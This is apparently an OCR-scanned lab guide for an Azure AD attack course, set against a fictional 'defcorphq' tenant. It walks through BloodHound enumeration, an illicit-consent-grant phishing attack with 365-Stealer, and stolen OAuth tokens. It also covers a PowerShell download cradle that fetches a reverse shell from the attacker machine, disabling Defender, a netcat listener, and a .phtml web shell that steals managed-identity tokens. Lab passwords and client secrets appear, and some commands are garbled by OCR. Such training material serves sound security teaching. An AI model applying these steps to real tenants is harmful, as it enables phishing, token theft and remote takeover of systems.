2021-04-06 22:29:57.114 | INFO | stormcollector.aad:query aad:209 -

Checking access for Azure AD: https://graph.windows.net
HTTPS proxies https://172.16.151.254:3128 are not supported, ignoring

2021-04-06 22:30:00.500 | INFO | stormcollector.aad:query aad:292 -
Starting enumeration for Azure AD: https://graph.windows.net

2021-04-06 22:30:04.868 | INFO | stormcollector.aad:query objects:83 -
Starting query for AADUser

[snip]

2021-04-06 22:30:27.781 | INFO | main:main:125 - --- COMPLETE:
30.682503700256348 seconds. ——-—

2021-04-06 22:30:27.781 | INFO | main:main:127 - Zipping up output...

2021-04-06 22:30:27.843 | INFO main:main:129 - OUTPUT:
C:\AzAD\Tools\stormspotter\results 20210406-222956.zip
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Now, browse http://localhost:9091 using Chrome on student VM and use the following:
Username: neo4j

Password: BloodHound

Server: bolt://localhost: 7687

@ localhos o 1

9’ bolt://localhost: 7687

Remember Me

NREORIRE [ —

After login, upload the ZIP archive using the 'Stormcollector Upload' option.

< C O localhost3091/dashboard o % K RO

Raw Query DATABASE QUERIES

Database Stats

Database bolt://localhost: 7687
User

Node Summary

Node Type

No results  Refresh

Stormcollector Upload
©.88 / 8.00%

Click on Refresh after uploading file to process the data.
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Go to the 'QUERIES' tab on the right side, expand 'Show All RBAC Relationships', copy the Cypher query
and paste in the 'Raw Query' box on the left. 'SUBMIT QUERY' and the Ul will shows the relationships
that the current user can read. Please note that you may need to Zoom-in to see the results.

Raw Query * DATABASE QUERIES

- Show ALl Global Administrators
vaultfrontend
o Show ALL AAD Roles

.
&

N » Show ALl RBAC Relationships
defcogpcommon””’

3 MATCH (a)-[r]-(t) WHERE EXISTS(r.roleName)
& RETURN *
ade*

Re?
Show ALL Owner Relationships

Show ALl Contributor Relationships

“ Show ALL Relationships for Key Vaults

) Show ALl Service Principals with Cert or
SUBMIT QUERY testuser < Password Counts

@

searchKeyVaulteader

Re,
ey defcorphgcareer

vaultfrontend S
]\Uy\’;lullSccrclsUscr
researchkeyvault

Please note that not all built-in queries will return a result as the test user has very limited permissions.
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Learning Objective 8:

Task
e During additional lab time:
e Enumerate the following for the defcorphg tenant using BloodHound with the credentials of
test@defcorphg.onmicrosoft.com user :

— All users with the Global Administrator role
— All paths to an Azure Key vault

Part of - All kill chains
Topics covered - Authenticated Enumeration

Solution

Analysis using BloodHound Legacy
First, we need to connect to Azure using Az PowerShell and Azure AD modules:

PS C:\AzAD\Tools> $passwd = ConvertTo-SecureString
"V3ryH4rdt0Cr4ckNOOneC@nGu355ForT3stUs3r" -AsPlainText -Force

PS C:\AzAD\Tools> $creds = New-Object
System.Management.Automation.PSCredential ("test@defcorphq.onmicrosoft.com",
$Spasswd)

PS C:\AzAD\Tools> Connect-AzAccount -Credential $creds

Account SubscriptionName TenantId
Environment
test@defcorphg.onmicrosoft.com DefCorp 2d50cb29-5f7b-48a4-87ce-

fe75a941ladb6 AzureCloud

PS C:\AzAD\Tools> Import-Module C:\AzAD\Tools\AzureAD\AzureAD.psdl
PS C:\AzAD\Tools> Connect-AzureAD -Credential S$creds

Account Environment TenantId
TenantDomain AccountType

test@defcorphg.onmicrosoft.com AzureCloud 2d50cb29-5f7b-48a4-87ce-
fe75a941ladb6 defcorphg.onmicrosoft.com User
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Now, let's load AzureHound and run it:

PS C:\AzAD\Tools> . C:\AzAD\Tools\AzureHound\AzureHound.psl

PS C:\AzAD\Tools> Invoke-AzureHound -Verbose

VERBOSE: GET https://graph.microsoft.com/beta/organization with O-byte
payload

VERBOSE: received -1l-byte response of content type
application/json;odata.metadata=minimal;odata.streaming=true; IEEE754Compatibl
e=false;charset=utf-8

Building users object, this may take a few minutes.

Done building users object, processing 320 users

[snip]

Compressing files

Zip file created: C:\AzAD\Too0ls\20210407093420-azurecollection.zip
[snip]

Run the BloodHound application (C:\AzAD\Tools\BloodHound-win32-x64\BloodHound-win32-
x64\BloodHound.exe) and use the following details:

bolt://localhost: 7687
Username: neo4;j
Password: BloodHound

After login, upload (drag and drop works) the Zip archive there. Click on 'Refresh Database Stats' if you
don't see details under 'AZURE OBJECTS' in the 'Database Info' tab.

-«

= A K

Database Info

AZResourceGroup 0

Refresh Database Stats

Clear Sessions. Clear Database

Log Out / Switch Database
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Click on 'Raw Query' at the bottom of BloodHound application and run the following to modifu the
database. This resolves objectID to names.

MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <>"" AND n.name IS NULL SET n.name =
n.azname

List all the users with Global Administror role:

MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p

ADMIN@DEFCORPHQ.ONM

“DEFENSE CORPORATION

MONIKA_ALTEREDSECURITY.COM#EXT#_MONIKAALTEREDSECURITY.FGYWB#EXT #@DEF CORPHQ.ONMICROSOFT.COM

Raw Query

MATCH p =(n){[-AZGlobalAdmin*1..]->(m) RETURN p

For the next task, to find all paths to an Azure key vault, we can use the below Cypher query:

MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p

A K T

ADMIN@DEFCORPHQ.ONMIPRQ

RESEARCHKEYVAULT

Raw Query

MATCH p = (n)-[r]->(g:AZKeyVault) RETURN g
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Analysis using BloodHound Community Edition
As BloodHound CE consumes high amounts of RAM, in the lab, you only have Read-only access to a
shared BloodHound CE - https://azurehound-altsecdashboard.msappproxy.net/

Sign in

Provide the following credentials to the Microsoft login page:

Username: cartpreader@altsecdashboard.onmicrosoft.com
Password: ARe@dOnlyUsertol0OOkAtAzureHoundDashboard!

This would bring you to the BloodHound CE login page. Provide the same set of credentials as above to
the BloodHound login page and you will be able to access the Ul.

BLOODHOUND

COMMUNITY EDITION

Always double-check the credentials in the lab portal - https://azureadlab.enterprisesecurity.io/

This instance of BloodHound CE already has the data populated using privilges of a user that has Reader
role on the subscription in Defense Corporation. Feel free to play with it beyond the Learning Objective.
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Let’s solve the two tasks in the current Learning Objective.

List all the users with Global Administror role:

In the Web Ul Go to CYPHER -> Click on the Folder Icon -> Pre-Built Searches -> Azure -> All Global

Administrators

- Q SEARCH & PATHFINDING /> CYPHER

B 1 MATCH p = (n)-[r:AZGlobalAdmin*1..]->(m)
2 RETURN p

? | P SEARCH

Pre-built Searches
ACTIVE DIRECTORY AZURE
General:

All Global Administrators

All members of high privileged roles

This is what the result looks like

ADMIN@DEFCORPHQ.ONMICROSOFT.COM

AZGlobalAdmin

DEFENSE CORPORATION

AZGlobalAdmin

MONIKA_ALTEREDSECURITY.COM#EXT#_MONIKAALTEREDSECURITY.FGY'

For the next task, to find all paths to an Azure key vault, we can use the below Cypher query:

MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p

@ RESEARCH
AZContains
@ !

RESEARCHKEYVAULT

AZContains

CREDVAULT-FILEAPP
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Learning Objective 9:

Task
e Compromise an application administrator and their workstation in defcorphq tenant using the
Illicit Consent Grant attack.

Part of - Kill Chain - 1
Topics covered - Authenticated Enumeration and Initial Access

Solution
To execute illicit consent grant we first need to register an application. Logon to
defcorpextcontractors.onmicrosoft.com tenant using the credentials of

studentx @defcorpextcontractors.onmicrosoft.com.

Register MFA for studentx user

Note that you need to register for MFA for the studentx user, we recommend using the Microsoft
Authenticator application for that. When using the credentials of studentx user for the first time, we will get
a message titled ‘More information required’. Use the following steps to register for MFA:

1. Click Next on the message

B® Microsoft
student1@defcorpextcontractors.onmicrosoft.com

More information required

Your organization needs more information to keep
your account secure

Use a different account

Learn more

2. Download Microsoft Authenticator on your phone and click next:

Keep your accou nt secure

Microsoft Authenticator

a Start by getting the app

S on e, install th
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3. Follow the on-screen instructions to set it up for studentX. Choose 'Work or School' account in
the app and scan the QR code shown on the screen. Note that you can safely remove the
account from your Microsoft authenticator app once you are done with the lab.

4. After completing the setup, approve the login for studentX

Success!

Great job! You have successfully set up your security info. Choose “Done” to continue signing in.

Default sign-in method:

=)
(&) Microsoft Authenticator

B® Microsoft
student1@defcorpextcontractors.onmicrosoft.com

Approve sign in request

@ Open your Authenticator app, and enter the
number shown to sign in.

74

No numbers in your app? Make sure to upgrade to
the latest version.

my Microsoft Authenticator app right now

Register an application
After login as studentx, go to Entra ID -> App Registrations and click on New registration.

Enter studentx as Name of the application, choose 'Accounts in any organizational directory (Any Entra ID
directory - Multitenant)' and use the URL of your student VM in the Redirect URI -
https://172.16.151.x/login/authorized (or 172.16.150.x or 172.16.152.x depending on your location)
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Home > DefCorp External Contractors

Register an application

The user-facing display name for this application (this can be changed later).

‘ studentl

Supported account types

Who can use this application or access this API?

O Accounts in this organizational directory only (DefCorp External Contractors only - Single tenant)

®) Accounts in any organizational directory (Any Azure AD directory - Multitenant)

O Accounts in any organizational directory (Any Azure AD directory - Multitenant) and personal Micr

O Personal Microsoft accounts only

Help me choose...

Redirect URI (optional)

We'll return the authentication response to this URI after successfully authenticating the user. Providing
changed later, but a value is required for most authentication scenarios.

Web ~ ‘ | https://172.16.150.1/login/authorized

Register an app you're working on here. Integrate gallery apps and other apps from outside your organij

By proceeding, you agree to the Microsoft Platform Policies !

Go to the 'Certificates & Secrets' blade of the application you registered, create a new client secret and
copy it before browsing away from the page.

Home > DefCorp External Contractors > student1

studentl | Certificates & secrets =

[ 0 search (ctri+)) | « Q Got feedback?
E® Overview Credentials enable confidential applications to identify themselves to the authentication service when receiving tokens at a web addressable location (using an HTTPS
scheme). For a higher level of assurance, we recommend using a certificate (instead of a client secret) as a credential.
Quickstart

# Integration assistant .
Certificates

Manage
Certificates can be used as secrets to prove the application’s identity when requesting a token. Alse can be referred to as public keys.

B Branding

D Authentication T Upload certificate
Certificates & secrets Thumbprint Start date Expires. D

m -
I Token configuration No certificates have been added for this application.

== APl permissions
@ Expose an API

. App roles Client secrets

&2 owners A secret string that the application uses to prove its identity when requesting a token. Also can be referred to as application password.

& Roles and administrators | Pre...
+ New client secret
W Manifest
Description Expires Value D
Support + Troubleshooting
new 10/8/2021 KEQm s ommmarons dd960071a-b7ba-4000-ae0a-cc884dfdefed [ ]ﬁ[

Finally, go to the 'APl permissions' blade and add the 'user.read' and 'User.ReadBasic.All' for the Microsoft
Graph. It should look like the below after adding the permissions:
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<~ API permissions
& Expose an API
Bi App roles

&8 Owners

aks Roles and administrators | Pre...

Manifest

Support + Troubleshooting

-+ Add a permissien

API / Permissions name Type

“ Microsaft Graph (2)
User.Read

Delegated

User.ReadBasic.All Delegated

Description

Sign in and read user profile

Read all users' basic profiles

To view and manage permissions and user consent, try Enterprise applications.

Admin consent req...

No

No

Status

Go to the OverView blade and note Application (Client) ID

) studentl »

| Overview
Quickstart

# Integration assistant
Manage

B Branding

2 Authentication

‘ P Search (Ctrl+/) | «

@[ Delete @ Endpoints Preview features

0 Got a second? We would love your feedback on Microsoft identity platform (previously Azure AD for developer). —

/\ Essentials

Display name : student?
Application (client) ID

Object ID

: e06cbalc-27bc-433a-b06e-5ef5ab0530af

a3e32d35-3743-4adf-a18d-4838aaf130d4

Client credentials
Redirect URIs

Application 1D URI

: 0 certificate, 1 secret
1 1web, 0spa, 0 public client

: Add an Application ID URI

Directory (tenant) ID : e2277a76-28d6-4f61-8642-8852fddc1642 Managed application in I... : student1
Certificates & secrets . L
Supported account types : Multiple organizations
Setup 365-Stealer
Run the Xampp control panel as administrator and start Apache and MySQL server.
[Z] XaMPP Control Panel v3.3.0 [ Compiled: Apr 6th 2021 ] — O x
XAMPP Control Panel v3.3.0 J* Contia
Modules Y
Service Module  PID(s) Port(s) Actions @ Netstat
Apsche  Zoier a0 ([(Siop ) Admn | Config | Logs o sver
MySQaL 14364 3306 Stop Admin Config Logs Explorer
FileZilla Start Admin Config Logs B Services
Mercury Start Admir Config Logs & Help
Tomcat Start & Config Logs i aut
[main] All prerequisites found
[main] Initializing Modules
[main] Starting Check-Timer
[main] Control Panel Ready
[mysql] Attempting to start MySQL app...
[mysql] Status change detected: running
[Apache] Attempting to start Apache app...
39:33 [Apache] Status change detected: running

Make sure that the '365-Stealer' directory is present in C:\xampp\htdocs. If it is not there, copy from
C:\AzAD\Tools to C:\xampp\htdocs
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Go to http://localhost:82/365-stealer/yourVictims and Enter the below username and password to access
365-Stealer

Username: admin

Password: Pass@123

3L

Welcome to 365-Stealer

ashboard

)

v 3
- aES-STEALER

After login, Click on '365-Stealer Configuration' to set the configuration.

Enter CLIENTID, REDIRECTURL and CLIENTSECRET so that it matches the application that you registered.

365-STEALER Home JWT Decoder admin (@)~

365-Stealer
Configuration ’&

017b0c19-béaf-4918-b730-2e89a 135800
m Z.OT75iaph8qBD_2GB~bEAE2yIFZhe~6 m
hittps//172.16.150.1/login/authorized

Redirect Url After Stealing Data, Let it be your home pagefeg, / or https:/fyourathersite com)

File Path{ps1)
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http://localhost:82/365-stealer/yourVictims

Now, we need to start 365-stealer. Follow these steps:

1. Click on 'Run 365-Stealer'.
2. Select the default HTTPS port number (443).
3. Ensure that HTTPS is enabled.
4. Click 'Run' to initiate the process.
365-STEALER Home JWT Decoder ”3_
[1u0n 00 futo Rees refcsh i Uses Data
Alternatively, you can use the CLI to setup the config and run the tool!
Set the 365-stealer config using CLI
C:\xampp\htdocs\365-Stealer>python 365-Stealer.py --set-config
[snip]
Welcome to 365-Stealer Configuration.
Client ID ==> e06c6alc-27bc-433a-b06e-5ef5ab0530af
Client Secret ==> am0ZVla7xmsénW_AwMgAE~~kcolnNcBc.L
Redirect Url ==> https://172.16.150.X/login/authorized
Redirect Url After Stealing ==>
Macros File Path ==>
OneDrive Extensions ==>
Delay ==> 1
[+] 365-Sealer Configuration set successfully!
[snip]
Run the tool:
C:\xampp\htdocs\365-Stealer>python 365-Stealer.py --run-app
[snip]
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[!] Stealing processes delayed with 1 seconds.

Phishing Link =>
https://login.microsoftonline.com/common/oauth2/authorize?response type=codes
client id=e06c6alc-27bc-433a-b06e-
5ef5ab0530af&scope=httpss3A%2F%2Fgraph.microsoft.com%$2F.default+openid+offlin
e accesst&redirect uri=https%3A%2F%2F172.16.150.1%2Flogin%2Fauthorized&respon
se mode=query

Home page running on port: 443

* Serving Flask app "365-Stealer" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production
deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on https://0.0.0.0:443/ (Press CTRL+C to quit)

Get the phishing link
Browse to the https://localhost using an incognito window and click on 'Read More'. Copy the link from
the address bar or copy it from the 365-stealer process window.

S5 C A Notsecure | localhost

IIIIIIIIIIIIIHiHHHHHiHiIIIIIIIIIIIIIIIIIIIIIIIIII

Microsoft Advertising (
guide

Get started with your Microsoft Advertising training by selecting a topic below. If you
premium channel partner, tool provider or strategic agency, you can access Bing PF
for beginners and advanced practitioners in the Microsoft Advertising Leaming

Read More

Send the phishing link

To send phishing link to targets, we need to find an application that allows us to contact users in the target
organization. We can use MicroBurst for that. We need to add permutations like career, hr, users, file,
backup etc. to the C:\AzAD\Tools\MicroBurst\Misc\permutations.txt

Run the below command after modifying permutations.txt:
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C:\AzAD\Tools>. C:\AzAD\Tools\MicroBurst\Misc\Invoke-
EnumerateAzureSubDomains.psl

C:\AzAD\Tools>Invoke-EnumerateAzureSubDomains -Base defcorphq -Verbose
[snip]

Subdomain Service

defcorphgcareer.azurewebsites.net App Services
defcorphgcareer.scm.azurewebsites.net App Services - Management
defcorphg.mail.protection.outlook.com Email
defcorphg.mail.protection.outlook.com Email
defcorphg.mail.protection.outlook.com Email

defcorphg.onmicrosoft.com Microsoft Hosted Domain
defcorphg.onmicrosoft.com Microsoft Hosted Domain
defcorphg.onmicrosoft.com Microsoft Hosted Domain
defcorphg.sharepoint.com SharePoint

[snip]

A quick look at the career website of defcorphq (defcorphqcareer.azurewebsites.net) and we can see that
the 'Need Help' section may be abused for phishing. Send the link that we copied earlier:

C' @ defcorphqcareer.azurewebsites.net

Contact us

1@2.com
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Get access tokens of the victims
Wait for a couple of minutes for the user simulation to click on the link.

[!'] Looks like Victim ErikMKeller@defcorphq.onmicrosoft.com doesn't have office365 Licence!

Browse to http://localhost:82/365-Stealer/yourvictims/ to get a list of your victims and perform actions.

365-STEALER Home JWT Decoder admin @~

> B

v."!“

I ES-STEALER
funon o een 365 sume oy I on 25 st [ S 35 s e 9 o)
Indes
Folders (2)
= ‘ oo Tt cirs - i

We can use the access token for the user Erik from access_token.txt

Index  ErikMKeller@defcorphg.onmicrasoft.com

Falders ()

=p Size
=0 0 Em B >
memem - J

And use it in the below code to enumerate all the users. This gives us a list of targets in the target
organization. Remember that we can do only the actions allowed by the permissions on the token.

$Token 'eyJOeX..'
$URI "https://graph.microsoft.com/v1.0/users’

$RequestParams = @{

Method "GET'
uri $URI
Headers @{
'Authorization’ "Bearer $Token"
b

}

(Invoke-RestMethod @RequestParams).value

Or we can use the 'List Users' option to list all the users:
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List all User from vietim's tenant

e Joroims s

Glven Name. Sumame. 3ob Title wall Mobile Phons ffics Location

Get admin consent

Now, to get some better permissions, we need admin consent. We will target an application
administrator. For the sake of the lab, we will use our earlier enumeration that Application Administrator
role is assigned to markdwalden@defcorphqg.onmicrosoft.com

Let's modify the application that we registered earlier and add following permissions for Microsoft Graph
- mail.read, notes.read.all, mailboxsettings.readwrite, files.readwrite.all, mail.send

~ Microsoft Graph (7) *
Files.ReadWrite. Al Delegated  Have full access to all files user can access No o
Mail.Read Delegated  Read user mail No e
Mail.Send Delegated  Send mail as a user No e
MailboxSettings.ReadWrite Delegated  Read and write user mailbox settings No 0
Notes.Read.All Delegated  Read all OneNote notebooks that user can access No -
User.Read Delegated  Sign in and read user profile No *
User.ReadBasic.All Delegated  Read all users’ basic profiles No *

Please note that there is a delay of a few minutes in propagation of permissions when you modify
permissions for the same application.

Generate a new phishing link by browsing to https://localhost from an incognito tab and clicking on 'Read
More'. Email this link to markdwalden@defcorphg.onmicrosoft.com using an external email and wait for
the user simulation to give consent. Please remember to NOT use any work account for sending this email
and scrub off any contact information from signature. After couple of minutes you should see the below

on the process started by 365-stealer:
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https://localhost/

Get reverse shell
Now, browse to the 365-stealer dashboard on http://localhost:82 and copy the access token for user
Mark. Use this token to upload weaponized Word file on Mark's drive.

There is a licensed version of MS Office on 172.16.1.250 to create doc files. From your student VM, run
the below command to access the machine:

C:\AzAD\Tools> $passwd = ConvertTo-SecureString "ForCreatingWordDocs@123" -
AsPlainText -Force

C:\AzAD\Tools> $creds = New-Object System.Management.Automation.PSCredential
("office-vm\administrator", $passwd)

C:\AzAD\Tools> $officeVM = New-PSSession -ComputerName 172.16.1.250 -
Credential $creds

C:\AzAD\Tools> Enter-PSSession -Session $officeVM

[172.16.1.250]: PS C:\Users\Administrator\Documents> Set-MpPreference -
DisableRealtimeMonitoring $true

Now, host the script Out-Word on your student VM by copying it to the C:\xampp\htdocs directory and
use the below command in the PSRemoting session to load it on the office VM. Remember to modify the
IP address so that it points to your student VM:

[172.16.1.250]: PS C:\Users\Administrator\Documents> iex (New-Object
Net.Webclient) .downloadstring("http://172.16.150.x:82/0Out-Word.psl")

Next, create the Word document. The payload we are using in the below command downloads and
executes a reverse shell. Make sure to modify the IP address to point to your student VM (and location)
and remember to host the reverse shell:

[172.16.1.250]: PS C:\Users\Administrator\Documents> Out-Word -Payload
"powershell iex (New-Object

Net.Webclient) .downloadstring('http://172.16.150.x:82/Invoke-
PowerShellTcp.psl') ;Power -Reverse -IPAddress 172.16.150.x —-Port 4444" -
OutputFile studentx.doc

[172.16.1.250]: PS C:\Users\Administrator\Documents> exit

Copy the generated file to the student VM:

C:\AzAD\Tools> Copy-Item -FromSession $officeVM -Path
C:\Users\Administrator\Documents\studentx.doc -Destination
C:\AzAD\Tools\studentx.doc

Now, start a listener on your student VM to catch the reverse shell:

PS C:\AzAD\Tools> C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444
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listening on [any] 4444

Double check that you have the reverse shell (Invoke-PowerShellTCP.ps1) copied to C:\xampp\htdocs

directory to host it on the xampp web server.

Finally, use 365-stealer to upload the weaponized Word file to Mark's OneDrive. The user simulation will

download and open this file in few minutes.

Click on MARKDWALDEN @DEFCORPHQ.ONMICROSOFT.COM name on 365-Stealer homepage. You would
see the option to 'Upload files to victim's OneDrive' under the Actions Tab:

Index '~ MarkDWalden@defcorphg.onmicrosoft.com
Folders (2)
_— .
B onedrive
-—
B outlook
Files (3) Size
il
d 162 B
refresh_token.txt 8098
zxr|
Actions Tab
To.. Choose File  No file chosen
Subject.. Upload file
Type message

Upload the studentx.doc that we created earlier.

You can also use CLI to upload the document:

C:\xampp\htdocs\365-Stealer>python 365-Stealer.py --refresh-user
MarkDWalden@defcorphg.onmicrosoft.com --upload C:\AzAD\Tools\studentX.doc

[snip]

[!] Stealing processes delayed with 1 seconds.
[+] MarkDWaldenldefcorphg.onmicrosoft.com incoming!
[+] File studentx.doc is uploaded!

After a few minutes, on the listener, you will get the reverse shell:
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PS C:\AzAD\Tools> C:\AzAD\Tools\netcat-win32-1.12\nc.exe -lvp 4444

listening on [any] 4444
172.16.1.11: inverse host lookup failed: h errno 11004: NO_DATA
connect to [172.16.150.1] from (UNKNOWN) [172.16.1.11] 49303: NO_DATA

Windows PowerShell running as user Administrator on DEFENG-CONSENT
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami

defeng-consent\administrator

PS C:\Windows\system32> hostname

defeng-consent
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Learning Objective 10:

Task
e The career app in the defcorphqg tenant allows insecure file upload functionality. Abuse the
vulnerability and compromise the app service.
e Check if the service principal for the managed identity of the compromised app service has any
interesting permissions on other Azure resources.

Part of - Kill Chain - 1
Topics covered - Authenticated Enumeration and Initial Access

Solution

We could see file upload functionality right on the home page of the defcorphqcareer webapp. To avoid
going much deep in the application security stuff, we will assume we know the vulnerability in this case
and it is stupidly simple in the lab.

We can upload .phtml files using the file upload functionality. Use the studentxshell.phtml from the Tools
directory on your student VM (which is a super simple web shell)

@ defcorphqcareer.azurewebsites.net

DefCorp requires the services of Self-M

Professionals.

@%4 Send us your resume

..»i“

1@2.com

‘ Choose File ‘

‘ Need help?
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After uploading the web shell, access it and pass the 'env' command to check if a managed identity is
assigned to the app service. Look for environment variables IDENTITY_HEADER and IDENTITY_ENDPOINT
in the output of https://defcorphqcareer.azurewebsites.net/uploads/studentxshell.phtml?cmd=env

C defcorphqcareer.azurewebsits

HP_EXTRA_CONFIGURE_ARGS=--with-apxs? --disable-cgi FUNCTIONS_RUNTIME_SCALE_MONITORING_EN

'HP_INI_DIR=/usr/local/etc/php WEBSITE_INSTANCE_ID=fbfb3d40666b51d6bcc6b672f6e9cccIbb5116dcaa2286b71
APACHE_DOCUMENT_ROOT=/home/site/wwwroot IDENTITY HEADER=5364c2d4-8650-4dfd-b35a-240db13fd2bf|
APACHE_SERVER_LIMIT=1000 PHP_EXTRA BUILD_DEPS=apache2-dev OLDPWD=/home/site/wwwroot DIAGN

'HP_I DFLAGS=-WL-O1 -Wl.--hash-style=both -pie REMOTEDEBUGGINGVERSION=16.0.30709.132 APACHE_RU
P_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 PHP_VERSION=7.4 APACHE_PID_FILE=/var/run/apache2/aj
WEBSITE_AUTH _LOGOUT PATH=/.auth/logout WEBSITE_STACK=PHP ORYX_ ENV_NAME=defcorphqcareer GP|
AS52880781F755608BF815FC910DEB46F53EA312 WEBSITE ROLE_INSTANCE_ID=0 APPSETTING_REMOTEDY

4.14 tarxz.asc/from/this/mirror PHP_ CPPFLAGS=-fstack-protector-strong -fpic -fpie -02 -D_LARGEFILE_SOURCE
WEBSITE_AUTH_ENCRYPTION_KEY=3F9D0D99EF 12184DE977B3475DC198C82741A1036288DD554149451D9H

'HP URL=https://www.php.net/get/php-7.4.14.tarxz/from/this/mirror WEBSITE_SITE_NAME=defcorphqcareer PATH|
WEBSITE _AUTH _AUTO AAD=False APPSETTING WEBSITE SITE NAME=defcorphqcareer APACHE LOCK D
WEBSITE_AUTH_ENABLED=False APPSETTING_WEBSITE_AUTH_AUTO_AAD=False MSI_SECRET=5364c2d4|
WEBSITE_OWNER_NAME=b413826f-108d-4049-8c11-d52d5d388768+Research-GermanyWestCentralwebspace APA
WPACHE TOG DIR=/var/log/apache? APACHE MAX REQ WORKERS=256 PWD=/home/site/ wwwroot/uploads PH]
[DENTITY ENDPOINT=http://172.16.1.5:8081/msi/token APPSVC_RUN_ZIP=FALSE PHP_SHA256=f9f3¢c37969fcd9)
\PACHE ENVVARS=/etc/apache2/envvars SSH PORT=2222 APPSETTING SemType=None WEBSITE AUTH_SIG)
PRYX_AI INSTRUMENTATION_KEY=4aadba6b-30c8-42db-9b93-024d5¢62b887 WEBSITE_SKU=Basic

We can use a simple curl command to get the access token using the IDENTITY_ENDPOINT AND
IDENTITY_HEADER. Let's upload another webshell studentxtoken.phtml for that. Access it by browsing to
https://defcorphqcareer.azurewebsites.net/uploads/studentxtoken.phtmil:

@ defcorphqcareer.azurewebsites.net;

access_token":
3wPgvG615RXil Tu7rY 5eFx9m3Y oouetHZ nw90d [ 4XaH3VsOSH12mhnd9qpa-04PZ00DQeVgWSEOPdODcguy6nzzeGxUk7-drWxkFE7lcOwIFm4YWfig2xb4z-zt YGVQT5p 74i3Lr9K0-
QTWYxBm UES6FBwP9IGuecohmKECS4vq6lg0puriEr3 1jX 7£7e2NJcWDHIZoSm6w | gNdMV Tvo6WnCsO2mqeQ1 5z5a1NM-ElbjmsSorQR_FjiSI-
ktDWKTY1n7Q8TeEQ8vuDALfbpkDXO4IHEDvzqltsB_Yvs23ZmDLxYWUSnlryy L0QkzhvsDsly 0QtxQ"."expires_on'":"04/09/2021 17:28:46
+00:00","resource":"https://management.azure.com/", "token_type":"Bearer"."client_id":"064aaf57-30af-41f0-840a-0e21ed149946"}

We can use the access token and client ID from above with Az PowerShell. But Az PowerShell’s Get-
AzRoleAssignment would not show us the permissions for the current token. It would show role
assignments only to ObjectIDs (no way to get the ObjectID of the Manged Identity token that we have).

@64aaf57-30af-41f0-840a-0e21ed149946

SubscriptionName TenantId Environment

2d50cb29-5f7b-48a4-87ce-fe75a941adb6 AzureCloud
Get-AzRoleAssignment

RoleAssignmentName : 1f2ae@58-338e-46e7-9c0e-05e06b47bl2a

RoleAssignmentId /subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtua
1Machines/bkpadconnect/providers/Microsoft.Authorization/roleAssignments/1f2ae@50-338e-46e7-9c@e-05e@6ba7bl2a

Scope : /subscriptions/b413826f-188d-4849-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtua
1Machines/bkpadconnect

DisplayName

Reader
RoleDefinitionId : acdd72a7- 5-48ef-bd42-f6P6fba8lae7
ObjectId : cc67¢90d-d9e9-408d2-b511-9d52d67682ab
ObjectType : Unknown
CanDelegate : False
Description
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To resolve Object IDs to SignInName, we could request MS Graph tokens.
While we can request both the tokes, for now, let's fall back to manual API calls for enumeration.

Let's use the token with Azure REST API.

We would need the subscription ID, use the code below to request it:

$Token 'eyJOexX..'
$URI "https://management.azure.com/subscriptions?api-version=2020-01-
01'

$RequestParams @{
Method '"GET'
uri $URT
Headers @{
'Authorization’ "Bearer $Token"
b
b

(Invoke-RestMethod @RequestParams).value

PS C:\AzAD\Tools> $Token = 'eyJ0eXA..'

PS C:\AzAD\Tools> SURI = 'https://management.azure.com/subscriptions?api-
version=2020-01-01"

PS C:\AzAD\Tools> S$RequestParams = @{

>> Method = 'GET'

>> Uri = SURI

>> Headers = @{

>> 'Authorization' = "Bearer $Token"
>> }

>>

PS C:\AzAD\Tools> (Invoke-RestMethod @RequestParams) .value

id : /subscriptions/b413826£-108d-4049-8c11-d52d5d388768
authorizationSource : RoleBased

managedByTenants : {}

subscriptionId : b413826f-108d-4049-8c11-d52d5d388768

tenantId : 2d50cb29-5£f7b-48a4-87ce-fe75a941adbb6

displayName : DefCorp

state : Enabled

subscriptionPolicies : @{locationPlacementId=Public 2014-09-01;
quotalId=PayAsYouGo 2014-09-01; spendingLimit=0ff}
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List all resources accessible for the managed identity assigned to the app service. Note that the only
difference is the URI

$Token 'eyJOeXx..'
$URI "https://management.azure.com/subscriptions/b413826f-108d-4049-
8c11-d52d5d388768/resources?api-version=2020-10-01"

$RequestParams = @{

Method '"GET'
uri $URI
Headers @{
'Authorization’ "Bearer $Token"
b

3

(Invoke-RestMethod @RequestParams).value

PS C:\AzAD\Tools> SURI =
'https://management.azure.com/subscriptions/b413826f-108d-4049-8cl1-
d52d5d388768/resources?api-version=2020-10-01"

PS C:\AzAD\Tools> S$RequestParams = @({

>> Method = 'GET'

>> Uri = SURI

>> Headers = @{

>> 'Authorization' = "Bearer S$Token"
>> }

>> )

PS C:\AzAD\Tools> (Invoke-RestMethod @RequestParams) .value

id

/subscriptions/b413826£f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMa
chines/bkpadconnect

/subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMa
chines/bkpadconnect/extensions/Microso...
/subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Network/networkIn
terfaces/bkpadconnect368

/subscriptions/b413826f-108d-4049-8cll-
d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Network/publicIPA
ddresses/bkpadconnectIP
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The above code shows us that we do have access to a VM!

Let's see what actions are allowed using the below code:

$Token 'eyJOeXx..'
$URI "https://management.azure.com/subscriptions/b413826f-108d-4049-
8cll-

d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/vir
tualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions
?api-version=2015-07-01'

$RequestParams @{

Method '"GET'
uri $URI
Headers @{
'Authorization’ "Bearer $Token"
b

3

(Invoke-RestMethod @RequestParams).value

PS C:\AzAD\Tools> SURI =
